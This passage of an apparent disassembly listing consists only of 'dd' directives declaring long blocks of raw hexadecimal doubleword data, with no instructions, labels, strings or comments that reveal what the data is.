		dd 0A5FC03D1h, 1249AB6Dh, 0D388A2BBh, 0A40057DAh, 0E3DB1BCBh
		dd 1FBC781h, 0CC6FFA5Eh, 0DC19878Ah, 0CB58140Ah, 9FEA00D2h
		dd 0F5E8B526h, 87CA0069h, 0AB90F1D4h, 2B00D862h, 6403FBF4h
		dd 71BE4B82h, 0A03800E5h, 0BA1DAA2Fh, 0DE004260h, 14A2CE45h
		dd 7F331A5h, 7CE5DA2Ch,	0C0A9670Ch, 0B72786C0h,	0A305FCEAh
		dd 0DCD76AD9h, 0E8623680h, 0EE1D00D6h, 793BB3Eh, 8524BD18h
		dd 404E280Dh, 3E5AF4A4h, 9990C9Ch, 0AF089497h, 0AD5521C0h
		dd 0FD40F4h, 73E07844h,	0DBEE7A9Fh, 790B70Fh, 55D2C024h
		dd 0B19ED4h, 9CA3428Bh,	1D37C344h, 0DE15CE00h, 1B3A2CB6h
		dd 6C18C590h, 97E00050h, 0D99DB2B5h, 69DDF8A8h,	37EEC800h
		dd 3FBAE95Ch, 0E508CC74h, 82038021h, 0A7857CC8h, 4D5AA12Fh
		dd 0C7DA3220h, 4237BD21h, 484414F3h, 785F9500h,	0DAD91A9Dh
		dd 0EBBB90D8h, 2180A7D1h, 0A2787773h, 0CE065096h, 170723BCh
		dd 152B03B0h, 1609BDAFh, 0E745B598h, 0EA6A191Ch, 420C7864h
		dd 0C71A08F9h, 0E03B548h, 6E98E2C0h, 9D984EFFh,	2F074070h
		dd 5A43BCD5h, 0F0B6DDE0h, 0C107283Bh, 25713B84h, 0BE7019ECh
		dd 0B2464318h, 150D629h, 0E28C1EE4h, 0C26C0DC1h, 9D8B48E0h
		dd 7506EA00h, 89D97947h, 1CC7FF2h, 73A9D47Dh, 0E098D13Eh
		dd 0DF072BAEh, 0F47B0417h, 0DA6A83C0h, 1E950CEFh, 0A820BFAFh
		dd 1021D801h, 3792DB1Ah, 77507AECh, 59520053h, 34711FFFh
		dd 30C0E5C5h, 7B3F9891h, 0BE323C0Ch, 6D5FD80Ch,	2A306E69h
		dd 3BA129C2h, 0ECE4F50Eh, 91F70059h, 0D7A35DFBh, 63036E01h
		dd 2F29260Ch, 9D02033Fh, 0BFA43E31h, 1A24380Fh,	90A70003h
		dd 61946Eh, 7BFD062Dh, 7E60F3F2h, 0D300877Fh, 0AB8EDD96h
		dd 1C1C36Ah, 0BD39BB56h, 0D42809E2h, 4226EABEh,	0B4007776h
		dd 2FB01299h, 6A0D00CCh, 3EC2AB01h, 0C0062C37h,	0E0F13171h
		dd 75427FB8h, 0BAC81CEFh, 0C0D8B70Ch, 0E975B19Ch, 0DC5D2900h
		dd 97B61344h, 0EA01FE71h, 24A400EFh, 5A1F8BC0h,	430094FBh
		dd 6D250D6Eh, 0CC3FA9h,	11308ED2h, 0C8DD9DF5h, 7E098B02h
		dd 0E051EA83h, 15CAD47h, 158ECFFBh, 0D187EC03h,	0DF21818Ch
		dd 7FB7ADA1h, 0D0E058C9h, 0EE7C50h, 5F8A8382h, 64CFC541h
		dd 67C79E0Ch, 67010854h, 90302052h, 80EBFC41h, 0D533CC0Dh
		dd 0E02B1853h, 0F060AA29h, 0E2620649h, 11FC6035h, 63616A46h
		dd 6D76871Eh, 16F56500h, 0B0A9ABh, 0AF8EC7FCh, 17529C7Fh
		dd 0CB7151C0h, 6ABC907h, 0D0EF0CD3h, 246008BBh,	7D49021h
		dd 0B0B79876h, 455207BDh, 0FBB0D01Ch, 0CF87C48Eh, 50BA68h
		dd 9F22E103h, 423DABDBh, 0AF288113h, 37A9AD6Ah,	0C863C4h
		dd 0FCB45FB7h, 164E8F0Fh, 82982F50h, 3A703218h,	63015249h
		dd 0E8EB19C8h, 81D3E138h, 5AD1BA58h, 7C40347Ch,	0E40A306Bh
		dd 0E07101DEh, 0F79CFC4h, 0F74DCCDFh, 1849DD68h, 62104E83h
		dd 2566F8B6h, 0B08008Fh, 96A7A22Bh, 4009028h, 0F9837C23h
		dd 0C62CAF95h, 49E05B40h, 6EC52600h, 0B709A09Eh, 4F4E00CCh
		dd 0E9D75D7Dh, 430162EEh, 77D08571h, 0B2D060C7h, 0B35200E3h
		dd 0CA5FFF95h, 617C3ACDh, 0B140B801h, 621733E4h, 600800E3h
		dd 4E42A2CAh, 675332B3h, 44143A88h, 0A24224C5h,	18ED7448h
		dd 0AF6B001Eh, 3292353Bh, 30A9156Eh, 0EE7F102Ch, 31380194h
		dd 0C8D83489h, 9E34483Dh, 0FB5EAD08h, 0B6C1709Fh, 9546AD1Ch
		dd 0FF4054E4h, 503D08CEh, 0F232AC1Ch, 0FB3CA028h, 0C7A3882Dh
		dd 0BC48AB72h, 1D22398h, 0CFBB4279h, 881F1854h,	4100612Ah
		dd 219B2375h, 514E3B1Eh, 0F4C168FEh, 0F8DD8084h, 29670422h
		dd 0B97DD85Eh, 0B50111B0h, 0CFE0ADFDh, 0E0DFA778h, 0C0C75A61h
		dd 1242E349h, 0A0A095CAh, 9CCAC7Eh, 4321F7h, 0CC3C123Ah
		dd 0BA05D8D4h, 0E2F8D503h, 4DAF9Fh, 0E449DF71h,	29616459h
		dd 5B1A3A00h, 16186B12h, 26402EB0h, 46802013h, 427A02D1h
		dd 315CCF9Eh, 622D1026h, 35400041h, 0BB9416ADh,	0B180C50h
		dd 0A7927D9h, 4BCD00D4h
		dd 61982AF1h, 9E07C3A9h, 1D6027Bh, 71883D70h, 0F85150E7h
		dd 69048C44h, 17FB63ADh, 0BC246F62h, 40490880h,	0B1BF6F7Fh
		dd 53FAB180h, 8503B5C5h, 7AB43D55h, 8595D2C3h, 342FEAFFh
		dd 69008B23h, 305B8485h, 0F96800EFh, 0ACCA59C2h, 0CC75788Bh
		dd 1D454D00h, 3820A9D0h, 4F8A2F4h, 0C9604AE4h, 9510E511h
		dd 0FBC83473h, 120F40A6h, 0C7B18623h, 0DBD40068h, 0CAD5E362h
		dd 606A35E4h, 467454E9h, 2E267304h, 6B2858h, 0C489D69Bh
		dd 352100C3h, 0A739763Ch, 900B45Dh, 1C371EBBh, 99AF68C9h
		dd 0CC10008h, 5DF2D4B3h, 60E96A48h, 23534D19h, 0CC9124D2h
		dd 60A905A8h, 23802FCEh, 445B00E1h, 4696B0A1h, 0CAC15663h
		dd 871980BEh, 0BFDC001Ch, 68E9C455h, 0F905E5D5h, 0DD9CD06Ah
		dd 1900EC6Eh, 0A6AE1E52h, 6A5032ABh, 43DB168h, 0A4CD3A08h
		dd 5764A4C5h, 44D40EEAh, 3A879A20h, 0CD0165E1h,	0D5CEDFB3h
		dd 52DD6AE8h, 62EAB989h, 8C11381Dh, 0D7935D80h,	49C04ED9h
		dd 0AAFDFF7Dh, 30890066h, 0F82CE243h, 0D207FCCAh, 0E478C89Dh
		dd 0B064EA52h, 0EE11D3B8h, 35632195h, 128CF060h, 789DFA1Bh
		dd 919091D9h, 0ADC58040h, 8CB7FB5Fh, 0C08A44h, 0E15AAD9Dh
		dd 0DFEE28D1h, 6F040FEEh, 493BADAh, 4E674C8h, 4D15E56Eh
		dd 4E948191h, 0E0C4E633h, 78140401h, 31C19B5Ch,	93A17023h
		dd 0EC20C51h, 9C1D14E4h, 86852F83h, 321653F9h, 0FA341894h
		dd 0C8D331h, 9F4C24C7h,	722ED1D8h, 3E054979h, 0B80FDE7Eh
		dd 30B658C2h, 671107C9h, 3988E3ACh, 7D15683h, 0FF580193h
		dd 50E31B7Ch, 8704244Bh, 61621200h, 0AD79D5B6h,	0E19E0008h
		dd 0F115F50Ch, 73127C02h, 0B4308078h, 78DBD8Ch,	0D7E7E1CDh
		dd 0BFC270C9h, 0E30C4184h, 29266733h, 5866E2B1h, 20806CAFh
		dd 760FC846h, 17C6D707h, 0E976E318h, 29D46D0h, 0AC6607C8h
		dd 131D31CBh, 0F207C957h, 19525D0h, 4DD3386Bh, 509308E7h
		dd 69F164E8h, 0B3009A70h, 0A96BB22Fh, 0F8C6F8DFh, 0D32B71D2h
		dd 0F9B00329h, 11187ACFh, 0D1192A5Bh, 38351E20h, 0DAC4C00Bh
		dd 0E490ABB3h, 0B00A0F70h, 585BF37Fh, 6007CA81h, 1C18BBACh
		dd 3CF9188h, 6EA8F807h,	400043B0h, 507B80B4h, 1478A479h
		dd 84F50E01h, 0C701A023h, 0F3ABCD07h, 54881F18h, 0C00700AFh
		dd 2402B964h, 780C2B8Bh, 50F3B584h, 9E30EBFDh, 58AF4951h
		dd 21416887h, 329BACCFh, 203BCCC8h, 603D06ADh, 39F14695h
		dd 66A9CA04h, 28C3C7CCh, 0F89AA341h, 37B434DDh,	0F8685582h
		dd 694163C0h, 318446CFh, 4B3421FEh, 0B0CA8880h,	58E74001h
		dd 92472A03h, 0F0CCC05Ch, 7FA0E4B1h, 0ED190AC7h, 5E90AE76h
		dd 57001D46h, 1E157EC8h, 0B317EC02h, 760419FFh,	18880BC7h
		dd 586B0052h, 0AF43709Bh, 91005D2Dh, 9C46C06Fh,	720350D9h
		dd 0A84B1436h, 5C1280E2h, 71144115h, 0E43BA6CDh, 0BF09BDFAh
		dd 17AECC1Fh, 831E9110h, 0CBB31F67h, 0DFCBD056h, 2AB13AABh
		dd 8672929Ch, 31507832h, 8784B002h, 51D8298Eh, 188A7178h
		dd 5A27573h, 0AC967B29h, 0AFC845FAh, 0C59C204Fh, 0FD3A4814h
		dd 930813Ch, 0D1FA7FB2h, 3EE29848h, 449E67CEh, 5CD3C034h
		dd 0C7AC976Eh, 6046F498h, 0CB125F02h, 1C4395h, 0A51238ECh
		dd 352E3BBh, 3419DE67h,	3A482009h, 13518CEh, 13A2472Eh
		dd 0D1E009DFh, 0EA4DD856h, 24066F7Fh, 84CDFB07h, 354F18A1h
		dd 0A6A8D9F7h, 0A5C44807h, 7B30EFE3h, 43C6862h,	0EB4F40D7h
		dd 0C45C8B36h, 3F305288h, 0A5019831h, 0E307022Bh, 0E0EEAA01h
		dd 1B436B3h, 18A7AF50h,	0A4039592h, 5463A039h, 0C52490FCh
		dd 70B10707h, 1072E510h, 0ACC3DC34h, 0B095220Ch, 0E3A291F4h
		dd 302AF6F0h, 62E17B0Ch, 7D0F8FF1h, 20EE0FA1h, 4E52ADDCh
		dd 0A9323D8Eh, 73D8D055h, 787069h, 2AF99EE0h, 0D106A242h
		dd 86726F00h, 0C240B741h, 134D0077h, 0AC6802D6h, 0CD7DF748h
		dd 9E6D30C0h, 3050B15Fh, 0EA917233h, 2400FA9Bh,	45F94AD0h
		dd 3CDCFCC9h, 3C83D7AFh, 9BB8B572h, 2A188800h, 0AF67096h
		dd 73291C7Fh, 49F25A95h, 33E4FC80h, 30E3E3A9h, 0FA0F9A04h
		dd 3F4F9E22h, 7116D50Ch, 0CC2E3EC4h, 0BFDD0902h, 0E4C08442h
		dd 95005649h, 49C190Ch,	9E96E73h, 2A9CEE3h, 60CAB107h
		dd 0B442B63Dh, 1968CC61h, 3024F65Bh, 63E90039h,	3DDCA556h
		dd 0BA039354h, 4762C96Eh, 0A7128018h, 18FC504Dh, 0B9FD60EBh
		dd 8714EFBAh, 697A0907h, 0B0D0CD21h, 0CA6360A7h, 40F47BD0h
		dd 45B974D0h, 32909906h, 2A192170h, 0F8E49409h,	6ACC2EE6h
		dd 0AFB00C6h, 69C66EF5h, 0D4A0D103h, 0A0DEB1BEh, 779347D3h
		dd 335C30B9h, 0A5089491h, 2F8F9B00h, 93D5E80Bh,	0BDC0012Ch
		dd 48E2D874h, 3D5BC1B9h, 0DC3B0024h, 8AD3A934h,	3F790213h
		dd 0CDE66B16h, 25FAE460h, 48F57000h, 2460694h, 7D6E7C53h
		dd 882E0504h, 4FEDAE96h, 5946D580h, 0B9075932h,	6E34931Dh
		dd 5DC88FE0h, 0C6760084h, 0E218CDEFh, 0B2010FAFh, 671A0601h
		dd 0BC36BB2Dh, 0DAFA8600h, 8C8E3E5Dh, 0D6B9FE0Fh, 13B1C1ACh
		dd 6C205F65h, 609E0CE2h, 1B81F934h, 3B3B147Eh, 0B7FC0701h
		dd 87E3EAB3h, 0ADDDE8FFh, 7EEC01B0h, 5C7944A2h,	75A980F8h
		dd 7B50AC99h, 7FB54CB2h, 3126E905h, 95708834h, 0FEB75B1Fh
		dd 68012B12h, 0C2CDC605h, 2E18E2D0h, 4764B0EFh,	95FEB11Ah
		dd 0BAAACCCEh, 885CA629h, 0C62D202h, 0D73A408Fh, 56DE0036h
		dd 0A6505DE7h, 0CB605B65h, 0C7BAE329h, 208049Dh, 0C850C855h
		dd 2D007114h, 0CB5DAC5Ah, 0F468198Dh, 9D281E1Eh, 4EC6456h
		dd 0C0510ADDh, 76EB72BCh, 22E4B04Ch, 52FF0CF0h,	64693016h
		dd 4DE85407h, 1531C79Ah, 6825EB04h, 0CE00AC3Dh,	4F206BCCh
		dd 701F6AAFh, 29C0B626h, 2CFF6CF5h, 45CF1FF2h, 0B5E182C5h
		dd 144067D1h, 0CC2AFA1Ah, 5A58E47Fh, 8BAF8088h,	2067BCBh
		dd 0C6040C85h, 9CA04CD8h, 4FCD6D88h, 3B1D5673h,	7AC1D949h
		dd 35E50CBDh, 0C5913DF3h, 0FE3C0D01h, 3B8B3950h, 0A06947C6h
		dd 11E1DF08h, 1F135F3h,	33AC5CBAh, 0DC40F72Ch, 0CF7909AEh
		dd 0BBE7BC31h, 0F0D3D069h, 0D7E04F87h, 48B80E51h, 0CE00A228h
		dd 9E6C9C60h, 952DB90h,	0CAFCA319h, 7EBF0400h, 3318E9C9h
		dd 9BC91478h, 605BF649h, 22D99068h, 9D309EA1h, 0CFDD803Bh
		dd 67A30942h, 2400020Dh, 0C768B175h, 50E35E14h,	0AD6B1C5Ch
		dd 0E9AE9580h, 32D9603h, 42891AC7h, 0C100770Ch,	0EF8F34B9h
		dd 2CA7ECh, 65EE84A2h, 0D7AD01B3h, 0BFB18D02h, 60FAE4CBh
		dd 363A0h, 38B0BA6Ah, 910C430Fh, 398D49C0h, 0A3661437h
		dd 4007A8EAh, 16DF0729h, 50EA59DDh, 1FD9C731h, 0B1B70A01h
		dd 20D84CFDh, 8C4F180h,	0FE1CF099h, 0D7283D00h,	0A4F19FCCh
		dd 39717D27h, 7007F820h, 811DC506h, 32B1954Eh, 25522D98h
		dd 0E901D52Ch, 8C5D1326h, 160211D8h, 1F5EADE8h,	0E3E1C258h
		dd 6EE1FDC2h, 797C3030h, 52BE4902h, 72D89B2Dh, 4C467B5Ch
		dd 0C701B897h, 0DA099CCh, 3A7C80D2h, 16FA67F9h,	426B09A9h
		dd 4C20DC5Ah, 0D271FD92h, 47A8703h, 0ABA145FBh,	0C9B9B0C8h
		dd 80889196h, 0C18475A9h, 9400DA36h, 95A69911h,	3B8DB9Bh
		dd 61D8D092h, 0B9266C8h, 5C001C5Ah, 0BC8B45F7h,	0B04ABA1Ch
		dd 618D00E4h, 0A7B7BFCBh, 0D304ECF6h, 0A9CA48CEh, 0B539E97h
		dd 0C5413D78h, 34A38E80h, 0ED44AD67h, 0C2F9CD18h, 15292FEh
		dd 0D6D52EEEh, 0F4A92C32h
		dd 17038C1Fh, 67CA6AC6h, 0FB06C80Eh, 51716595h,	0E3F0B45Bh
		dd 9A85B800h, 41BEFB79h, 0C9880066h, 2D98BFD8h,	0A22CE91Dh
		dd 44281860h, 0B69168A8h, 36BFCC00h, 6732C6C8h,	945895h
		dd 0E6B3CA80h, 0D000FF25h, 6A7E374Eh, 0EBFCEDBh, 49AC8F76h
		dd 0C9DFA3C2h, 5EFD20C0h, 25C00F58h, 0D88823CFh, 220DD8EDh
		dd 0D90126E5h, 0A0244110h, 0D1E2C87Bh, 0AB8A3000h, 89F180E8h
		dd 0E49957h, 0D359BBECh, 290376ADh, 50344709h, 0E77E0168h
		dd 0C65FB18h, 63845095h, 0F300DC14h, 136AF408h,	27774F6h
		dd 0D6120B55h, 2C80581Bh, 0A8AC4739h, 0C2DBA200h, 0D0954538h
		dd 5CE9E62Ah, 0FE87BC08h, 548D0CBh, 0A21C6D66h,	970E4E2Dh
		dd 0D56802AEh, 0FF7CE117h, 160430h, 0FA714553h,	6801732Ah
		dd 44E2DD2Eh, 2F5B1204h, 4193DD5Dh, 25EB3991h, 303DC4FDh
		dd 16986C50h, 31CE88h, 49BF3C8h, 5B4BE9E8h, 0CD412E60h
		dd 2E900C09h, 201222h, 0FA9C1AA5h, 8712A045h, 0C4217996h
		dd 0F9104CAFh, 0AD003484h, 0B97DAAB2h, 1BBD965h, 0C3017AAEh
		dd 0FE91F62Ah, 0F925D4E4h, 86AC2194h, 6310F435h, 0E71491BDh
		dd 80900B75h, 0F94287C6h, 1D779044h, 5F4D04A0h,	0AF680957h
		dd 52C30490h, 0C9FA55F6h, 9C22CA0Eh, 0E060EC49h, 0D178144Dh
		dd 0E1299483h, 0D2FC16A4h, 20723444h, 0EBDA9300h, 92E1DCBAh
		dd 0DB91000Bh, 0C084722Bh, 1B0B57A5h, 0E850E9D3h, 3EA6BC70h
		dd 0E3801614h, 93B88C11h, 9D002AE2h, 12DC279Bh,	1AD4F5Fh
		dd 7ED5B6C1h, 0BD96048Ah, 20B8D9h, 1AD865A7h, 0F41371Eh
		dd 1C454E8Eh, 57802828h, 69EC0E4Fh, 2C707C87h, 248D042h
		dd 0D6336A62h, 3611480h, 350C31E8h, 105F69CBh, 94F751Dh
		dd 0B165D034h, 68B0F080h, 0D404CD4Eh, 0AFFA14C2h, 35EC8C8h
		dd 0DEE961DFh, 0C7DA666h, 2726B709h, 136B807Bh,	48F10102h
		dd 0B60EEC62h, 9D9DDF91h, 9F82E93h, 9064CEB3h, 7880AA0Fh
		dd 0E1842019h, 1CEF42DEh, 7A767A5Ch, 4E654D84h,	8848A8F9h
		dd 27026467h, 95E3A1C1h, 901044C6h, 105509E0h, 0C8100923h
		dd 0B10028CCh, 0B950A5FBh, 0B5399EBh, 92E2DF4Dh, 3C6F6880h
		dd 90914C20h, 80B14689h, 28FEDE19h, 0E4560253h,	7233C924h
		dd 0C3002864h, 77A731ADh, 0BBE6C296h, 6582C80h,	6093E4E5h
		dd 0C4296612h, 3C353400h, 18A12B31h, 28C57C5Bh,	30048DEBh
		dd 0CA4A2AF9h, 3AE2B8C0h, 96B10A15h, 16CE794h, 0F93F33D8h
		dd 0E4C76A8h, 21AE5C0Fh, 3567CF49h, 0CA013072h,	0D0DCC118h
		dd 4D30E4B1h, 8B439C01h, 145A7288h, 0E4CFA987h,	0E7EDA3A2h
		dd 6733CEB8h, 816D891h,	4D9E3420h, 302802B2h, 0FF78C22Fh
		dd 2D9BB8C0h, 67604EEEh, 0D782BD88h, 0CEF918A0h, 23313985h
		dd 783AD17Dh, 1DC2052Bh, 98C0A4ABh, 2D442D65h, 8AEB095h
		dd 46792A6Ch, 7E3BF000h, 96CDBE88h, 0C37402CCh,	0C5E3A2B1h
		dd 9DEA34FAh, 55347118h, 7CEEDD41h, 0D2840258h,	0EDE20FCh
		dd 8BB988C0h, 0DB650102h, 0F235D10Bh, 84C900A0h, 37D86679h
		dd 4809B4DDh, 691598h, 873F4F20h, 0AE904404h, 37F1DD00h
		dd 0C65E92A0h, 0B5770031h, 41936528h, 44A85733h, 4C0154F0h
		dd 694204EFh, 0C8F9F20Fh, 8926E470h, 0C093C252h, 0E378C8F4h
		dd 0B77B6A02h, 0C07268D0h, 58B41AB0h, 474EDA12h, 0C7CED1B4h
		dd 0CB02B0F5h, 0C30F62D0h, 2FFCA2C5h, 0F763E43Fh, 8D07F8E2h
		dd 708BDC72h, 17048D0h,	0FBBDAA0Eh, 0E8AFA58Ch,	997250BCh
		dd 9CC700F8h, 0D453D8ACh, 0D1195100h, 0E0934E6Fh, 79332DBCh
		dd 0E4097025h, 5502BA60h, 61B7DDA2h, 5CF2D8h, 56B645B5h
		dd 5241A42Fh, 6002CFCh,	0BBA3143Bh, 0B95AE0D5h,	11A00014h
		dd 0A2650534h, 0D2708D03h, 0E9C96A3Eh, 6EED9BD6h, 164D024h
		dd 17446356h, 3CA84375h, 0A28D80D4h, 0EB0E0Bh, 83A3149h
		dd 4244CBFh, 8154F800h,	0E713C273h, 28615DA0h, 81E2D584h
		dd 380A2F44h, 978BD0h, 0BB0FF8F6h, 0E6F473h, 0C740098Ch
		dd 0AE6E201Eh, 3267E800h, 967C430Fh, 0BDAC94B2h, 14461181h
		dd 405A2054h, 306E9E28h, 0B695B700h, 3C4BD099h,	0A5FA0590h
		dd 82967E63h, 40545C1Ah, 0F093BB40h, 234F0035h,	22F8E211h
		dd 76006C69h, 925F8C17h, 5C8633EAh, 0FA00749Fh,	4DCEF36Dh
		dd 10267CCh, 7C42831Fh,	1E40805Ch, 527704h, 37C1D338h
		dd 21C013C5h, 0C4B4FC0Eh, 0A5656E97h, 44A44B96h, 0E6080044h
		dd 3889B8ADh, 0BF05F8C5h, 65F40F21h, 2A12880h, 3AC20EDDh
		dd 0E080955Ch, 207E2A9Bh, 57DABF06h, 0FA186F2Eh, 44209708h
		dd 0F6AFBCC6h, 8818EB01h, 861CDFDAh, 10E92DCh, 47CA4829h
		dd 36FD4E97h, 35EB05A0h, 4D8FAF0h, 3B52209Dh, 9E04C9F0h
		dd 4A5CF598h, 35D81480h, 5F660F1Fh, 90A9E9F9h, 0CEE1CC80h
		dd 0FA74C859h, 0C81724ABh, 0BC905819h, 13DAB5B9h, 696A61Dh
		dd 0D8E53ABCh, 8C24BD2Ch, 52D7AF01h, 3193A6F7h,	181C90EBh
		dd 8500132Ah, 0D45DFC49h, 9732C7A1h, 0FBE57090h, 2A5FA41Dh
		dd 8ED77800h, 7A20588Ch, 853C91EEh, 80B77EE8h, 0A168BB5Ah
		dd 4C4C5B98h, 0AF0E001Fh, 0AA3A579Dh, 0A5640067h, 0A4A6E0C0h
		dd 1D000248h, 452D52F7h, 4A23DBD1h, 0BCCC8856h,	2E903703h
		dd 0F055F795h, 265DB63Bh, 3BD84B29h, 0C50B2479h, 0CB7B0F67h
		dd 0AF952162h, 96F96C82h, 7EECE464h, 0BC402AFBh, 272DDC90h
		dd 0F47A00E7h, 8C5FC420h, 0B65EFFh, 0C4A58289h,	198707C0h
		dd 10794818h, 2E7DB699h, 0E1F45B02h, 0A0FD35E3h, 0AAACEF94h
		dd 8FE21Bh, 4ECCD4FCh, 742E5E3h, 2BC2010Bh, 45C18FAh, 7E351737h
		dd 640BFF34h, 90009050h, 5A2600A0h, 428636Ah, 0B539655Eh
		dd 10DC9EC5h, 0FDB45200h, 0BBED139h, 841845Dh, 0FBA9EC00h
		dd 0E8914794h, 0D257FA80h, 0A05B58A3h, 10BB33Ch, 0B48FBA96h
		dd 73330E8Ah, 69D0014Ch, 0B17B659Dh, 0DCD65080h, 0DFF3C440h
		dd 8501995h, 2A02C469h,	8FB3CDC6h, 4706C140h, 2D8B100h
		dd 0CAB0AC2Eh, 0F8373AE8h, 0C13F48C8h, 0A253FF0Fh, 0D56F04A0h
		dd 0D0787719h, 0A1035AE4h, 35E4B3D3h, 0EC100F8h, 0BD1181Eh
		dd 0B61DD8C0h, 740C2A9h, 6A0499B3h, 9D1702A1h, 1552ABE2h
		dd 7B43B4E6h, 401C8470h, 259260E5h, 19683030h, 13F30076h
		dd 0B3C31BF5h, 0DE030B9Ah, 0CB014552h, 0FA39A04Dh, 0A7BCB4A9h
		dd 2FBD4490h, 8AC49D05h, 0C43679Ch, 903C141Ch, 2BA6695h
		dd 37A0752Ch, 1454EB7Eh, 0E0C84C93h, 0CE4D3AF0h, 67C0B580h
		dd 22E5772Dh, 2CE9AB24h, 0C41A1760h, 0F2D803CCh, 8114BA5Ah
		dd 578BF580h, 0D6851601h, 0D9E8F7FBh, 13887C40h, 9C7E01EEh
		dd 2AFA0ED2h, 0D5C86085h, 0D6123405h, 32804503h, 0ECEEEDFh
		dd 0DB1487ACh, 0E20784C1h, 0F957D097h, 0DE8CD1CBh, 0AA88007Bh
		dd 0D819F866h, 1F703B00h, 7D22F3BFh, 263005Eh, 454E0D4Ah
		dd 0D904D1C9h, 0D2FA48A9h, 0BC2804B5h, 25AF009Ch, 605498BEh
		dd 0D97CB000h, 77F3F0BFh, 0C2DC0E3Eh, 0AF81630Dh, 320152E9h
		dd 16950070h, 70222D53h, 3EF303FAh, 0E2444F5Bh,	32BFE880h
		dd 0D0E9A912h, 8B13E000h, 910C6548h, 0C6270054h, 362EDF44h
		dd 0B5D2BA00h, 22867277h, 0D0FA259Bh, 780A94CBh, 580352DDh
		dd 0A847AC00h, 1DFC93h,	14E53CD1h, 707FA392h, 9F0CD609h
		dd 0BA2040D0h, 403548CAh, 0F7084C21h, 0CF25BE31h, 3D084449h
		dd 0B7F70060h, 7BD81277h, 0F8D312BDh, 16A0E232h, 0F089E2FDh
		dd 1D9D65D4h
		dd 79638E44h, 5D0E7080h, 0E3644D19h, 8BBFCE1Fh,	0B9AD80FEh
		dd 0D3D4E084h, 0EFF51366h, 89349009h, 0AD02A9B0h, 0D7224C02h
		dd 0C0DA5Bh, 7D4A74CBh,	8AC6A291h, 8B6E2D00h, 7B83C519h
		dd 0E0230449h, 81CED4D8h, 0C4FA16DCh, 59C0A1CFh, 80244D03h
		dd 0D6483F84h, 4AAFDB0Bh, 0C900D8C4h, 0E026AA3Dh, 7DC11A9h
		dd 175F49A4h, 4E3E00B8h, 89C1C6F9h, 0E998E503h,	8925EC70h
		dd 1C86908h, 5F41474Ch,	0B6D8AA1Fh, 5550021h, 77721456h
		dd 23480B30h, 0AD710078h, 0D00ADCC2h, 7C093017h, 0B28E2741h
		dd 883E1924h, 0DD966A02h, 3AACE037h, 0E55F01E8h, 0C8E90FADh
		dd 4009F331h, 0E485D2D5h, 3B590EA4h, 20C03FCFh,	0F5A85627h
		dd 0A024CB00h, 48E3026Bh, 57D32FDEh, 5A2F38A0h,	0B450900Ah
		dd 440009B7h, 0F136D34Dh, 3C83AE17h, 6902C7C5h,	0F6223FD4h
		dd 1A40305Eh, 5123ADh, 12639639h, 0EB463AD7h, 7B444900h
		dd 58DAFF4Eh, 0CAD53881h, 2501CCD0h, 0C8203568h, 332E765Bh
		dd 0E3A38F1Fh, 0CCF8D54Ah, 0C000DD13h, 10755635h, 0A9D402CAh
		dd 76B50344h, 30E8E362h, 8CA0E19Dh, 6613CEB2h, 0B4E27B33h
		dd 9500F821h, 3D6FCED7h, 0BA98B9DDh, 37B2B180h,	0C1D51EE0h
		dd 5576F100h, 0E64A124Eh, 842D3C6Ah, 50A70BA5h,	0C5413E81h
		dd 0C086DB06h, 7000C3A6h, 253C194h, 0C65770Fh, 0A874914Ah
		dd 0CC1361B0h, 2490D3F9h, 13FF52Bh, 0B48E5E2h, 0DC9AE493h
		dd 9458955Eh, 0F8C583ACh, 4029E296h, 28F322FAh,	1641452h
		dd 0B8BF3FD6h, 70652ED3h, 3D898824h, 0A800878h,	0E048DFAAh
		dd 12D96F00h, 0FF422A72h, 0F5CE0F58h, 65E09C05h, 38E92D4Eh
		dd 0A095FEE8h, 32C5D1E8h, 0D4A2006Ah, 0FA6C3DBEh, 0C32653C2h
		dd 0DF18EB47h, 7AD67D8h, 0AB90404Eh, 4AA29F38h,	0F0423E16h
		dd 61C0588Eh, 6BC33270h, 19A031Dh, 44092D49h, 0BF1B00C0h
		dd 0B24766F8h, 0FB001A91h, 1EA6797Ch, 79B460FAh, 20F0B52h
		dd 94197133h, 27690803h, 9C200C37h, 13E6AC3Ch, 2E555613h
		dd 0C0ADCC00h, 26D74A17h, 40640C0Eh, 379D9369h,	63D8E500h
		dd 0ACD1B21Ch, 95FA0033h, 9BF94B05h, 6B3ED0C8h,	3FD39CC3h
		dd 18005816h, 0D5057024h, 0C7A57BA8h, 6456C260h, 50848834h
		dd 5A007CF2h, 0E98F8AC7h, 3A6AEF4h, 1D51960Eh, 55E2408Dh
		dd 6FD3E940h, 7407F605h, 0FC2034A6h, 99E2AC2h, 57B0AB8Ch
		dd 0C7001CDAh, 73AD4A95h, 1D8E886Eh, 9E3ACCD6h,	2C0405Ah
		dd 328C5EC8h, 1AE0C48h,	7906BB72h, 342DAA96h, 67C2F901h
		dd 6324D8ACh, 36C31F70h, 0B9EDB2C0h, 0BB4BB23h,	8006DA5Eh
		dd 4695EB82h, 4E84F479h, 188291BCh, 6C08406Ah, 9BAC12CAh
		dd 2A700268h, 0DCD23552h, 9049EF00h, 9780E476h,	0EBC42495h
		dd 0DAF9008Eh, 0DE914836h, 0AFCD6012h, 1FE898B4h, 0F8CAB2h
		dd 0ABC8C63Ah, 480052ACh, 7F2F1C9Fh, 0C1D049Ah,	4A39C1D4h
		dd 0FBE04980h, 9998974Ch, 0A908EEB0h, 67324217h, 12EE8CCh
		dd 1715D8BCh, 30F966ADh, 0FC604D9Eh, 52C28241h,	0D229030Dh
		dd 5611B0C7h, 0FA2027C2h, 534D2Eh, 730D40B2h, 57317948h
		dd 3904BA00h, 0CEF8A08Fh, 0CCB314CAh, 3A0098CDh, 2D9B3D42h
		dd 0E8B8B951h, 0EC20684Ah, 155FB6Ch, 77BBE2FEh,	0E9D749A5h
		dd 30A0256Bh, 0AD0ADD5Ch, 85487BE5h, 97034500h,	6ED8577Fh
		dd 35666056h, 0DD3AD894h, 232700B9h, 0FE049C22h, 0F0A2742Ch
		dd 31D70ADFh, 64AFA7h, 74C5058Eh, 2D3CFB67h, 45ED8037h
		dd 4F1497BEh, 2F5E0419h, 0A24DCA9Dh, 0C2AC0048h, 3E1BFB9Fh
		dd 124FCB4h, 4BEBBDC7h,	295C7841h, 0BB700068h, 0ABFDDEBCh
		dd 1903013Eh, 1E3278Dh,	0C829D9h, 6329F43Ah, 1E3C3189h
		dd 640CC5D3h, 0E950003Fh, 0A99F67A6h, 90E5D52Dh, 0F28310h
		dd 4C7894FAh, 133BA6B8h, 0AD019B01h, 0CEB72B50h, 98EC5830h
